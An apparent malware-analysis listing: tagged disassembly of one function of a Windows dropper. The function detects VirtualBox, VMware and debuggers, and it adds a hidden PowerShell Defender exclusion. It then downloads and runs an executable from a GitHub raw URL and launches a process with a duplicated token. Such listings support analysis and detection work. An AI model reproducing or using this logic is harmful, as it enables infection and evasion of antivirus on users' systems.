Function at 0x401a60
Capabilities:
Check for debugger via api
Check if file exists
Create process on windows
Create process suspended
Create thread
Download url
Encode data using xor
Enumerate processes
Get common file path
Receive data
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
mov eax, 0x13c8
call fcn.00403480
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x13c4], eax
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [esp + 4]
push edi
push eax
push 0x20019
push 0
push str.HARDWAREACPIDSDTVBOX__
push 0x80000002
call esi
test eax, eax
je 0x401abe
lea eax, [esp + 8]
push eax
push 0x20019
push 0
push str.SOFTWAREVMware__Inc.VMware_Tools
push 0x80000002
call esi
test eax, eax
jne 0x401aef
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov eax, 1
pop edi
pop esi
mov ecx, dword [esp + 0x13c4]
xor ecx, esp
call fcn.00402729
mov esp, ebp
pop ebp
ret 0x10
push 1
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
test edi, edi
je 0x401b39
push 4
push str.VBoxService
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
je 0x401b21
push eax
call esi
push edi
call esi
jmp 0x401ad4
push edi
call esi
push 4
push str.vmtoolsd
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
test eax, eax
jne 0x401b19
push edi
call esi
mov esi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
push str.C:Program_FilesOracleVirtualBox_Guest_AdditionsVBoxGuest.sys
call esi
test eax, eax
jne 0x401ad4
push str.C:Program_FilesVMwareVMware_Tools_vmtoolsd.exe
call esi
test eax, eax
jne 0x401ad4
push str.C:Windows_system32_vmicrdv.dll
call esi
test eax, eax
jne 0x401ad4
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x401ad4
mov dword [esp + 8], eax
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
cmp dword [esp + 8], 0
jne 0x401ad4
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x401d77
lea eax, [esp + 0x318]
mov dword [esp + 0x318], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x401d60
mov dword [esp + 0x548], str.ollydbg.exe
mov dword [esp + 0x54c], 0x4044b0
mov dword [esp + 0x550], 0x4044c0
mov dword [esp + 0x554], 0x4044d8
mov dword [esp + 0x558], 0x4044f0
mov dword [esp + 0x55c], 0x404508
mov dword [esp + 0x560], 0x40452c
mov dword [esp + 0x564], 0x404548
mov dword [esp + 0x568], 0x40455c
mov dword [esp + 0x56c], 0x404570
mov dword [esp + 0x570], 0x404570
mov dword [esp + 0x574], 0x404588
mov dword [esp + 0x578], 0x4045b4
mov dword [esp + 0x57c], 0x4045d0
mov dword [esp + 0x580], 0x4045f4
mov dword [esp + 0x584], 0x404608
mov dword [esp + 0x588], 0x404620
mov dword [esp + 0x58c], 0x40462c
mov dword [esp + 0x590], 0x404634
mov dword [esp + 0x594], 0x404640
mov dword [esp + 0x598], 0x404650
mov dword [esp + 0x59c], 0x404668
mov dword [esp + 0x5a0], 0x404684
mov dword [esp + 0x5a4], 0x40469c
mov dword [esp + 0x5a8], 0x40469c
nop dword [eax]
nop word [eax + eax]
lea esi, [esp + 0x548]
nop word [eax + eax]
mov eax, dword [esi]
lea ecx, [esp + 0x33c]
nop dword [eax]
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x401d36
test dx, dx
je 0x401d32
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x401d36
add ecx, 4
add eax, 4
test dx, dx
jne 0x401d10
xor eax, eax
jmp 0x401d3b
sbb eax, eax
or eax, 1
test eax, eax
je 0x401d6b
add esi, 4
lea eax, [esp + 0x5ac]
cmp esi, eax
jne 0x401d00
lea eax, [esp + 0x318]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x401cf0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x401d7d
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x401ad4
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x7b8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
cmp word [0x404816], 0
movups xmm0, xmmword [str.S__FB]
movups xmmword [esp + 0x20], xmm0
movq xmm0, qword [str._A__XQA_FYQLYhN__5]
movq qword [esp + 0x30], xmm0
je 0x401ed8
xor esi, esi
cmp dword [0x40642c], 2
jl 0x401eb0
movaps xmm2, xmmword [0x4048c0]
mov eax, str.S__FB
movaps xmm3, xmmword [0x404900]
movaps xmm1, xmm2
punpckldq xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
mov esi, 8
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4048e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movaps xmm2, xmmword [0x4048d0]
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
paddw xmm1, xmmword [0x4048f0]
movq xmm0, qword [eax]
xorps xmm1, xmm0
movaps xmm0, xmm2
movq qword [esp + 0x20], xmm1
movaps xmm1, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x4048e0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [esp + 0x28]
paddw xmm1, xmmword [0x4048f0]
xorps xmm1, xmm0
movq qword [esp + 0x28], xmm1
nop dword [eax]
mov eax, 0x8fb823ef
mov ecx, esi
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
imul eax, eax, 0x39
sub ecx, eax
add ecx, 0x30
xor word [esp + esi*2 + 0x20], cx
inc esi
cmp esi, 0xc
jl 0x401eb0
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x7bc]
push eax
lea eax, [esp + 0x5b8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineW]
push 0x104
lea eax, [esp + 0x9c4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x9c0]
push eax
lea eax, [esp + 0xbcc]
push str.powershell__WindowStyle_Hidden__Command__Add_MpPreference__ExclusionPath__ls_
push eax
call fcn.004023f0
add esp, 0xc
mov dword [esp + 0x58], 0x44
xor eax, eax
mov dword [esp + 0x84], 1
mov word [esp + 0x9a], ax
xorps xmm0, xmm0
mov word [esp + 0x88], ax
lea eax, [esp + 0x10]
push eax
lea eax, [esp + 0x5c]
movlpd qword [esp + 0x60], xmm0
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [esp + 0xbe8]
movlpd qword [esp + 0x84], xmm0
push eax
push 0
movlpd qword [esp + 0x94], xmm0
movlpd qword [esp + 0x9c], xmm0
movlpd qword [esp + 0xa4], xmm0
movlpd qword [esp + 0xb2], xmm0
movlpd qword [esp + 0xba], xmm0
movaps xmmword [esp + 0x38], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0xffffffffffffffff
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x10]
call edi
push dword [esp + 0x14]
call edi
push 0
push 0
lea eax, [esp + 0x5b8]
push eax
push str.https:__raw.githubusercontent.com_FroweZ_freedownload_main_lol.exe
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x4021bd
push eax
push eax
lea eax, [esp + 0x5b8]
push eax
push 0x401560
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0xc]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x40216e
lea eax, [esp + 8]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
je 0x402168
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x40215c
lea eax, [esp + 0xe8]
mov dword [esp + 0xe8], 0x22c
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x4020ac
mov esi, dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
lea eax, [esp + 0x10c]
push str.explorer.exe
push eax
call esi
add esp, 8
test eax, eax
je 0x4020ba
lea eax, [esp + 0xe8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x402083
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
jmp 0x402162
mov esi, dword [esp + 0xf0]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402162
push 0x40
lea eax, [esp + 0xa8]
mov dword [esp + 0xa4], 0x44
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0xa4]
push eax
push 0
push 0
push 0x8000004
push 0
push 0
push 0
lea eax, [esp + 0x5d0]
push eax
push 0
push dword [esp + 0x30]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x402157
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0xffffffffffffffff
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esp + 0x20]
call edi
push dword [esp + 0x24]
call edi
push esi
call edi
jmp 0x402162
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 8]
call edi
push dword [esp + 0xc]
call edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
mov esi, eax
test esi, esi
je 0x4021bd
push 0x2c
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x30], 0x2000
lea eax, [esp + 0x20]
push 0x30
push eax
push 2
push esi
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov ecx, dword [esp + 0x13cc]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402729
mov esp, ebp
pop ebp
ret 0x10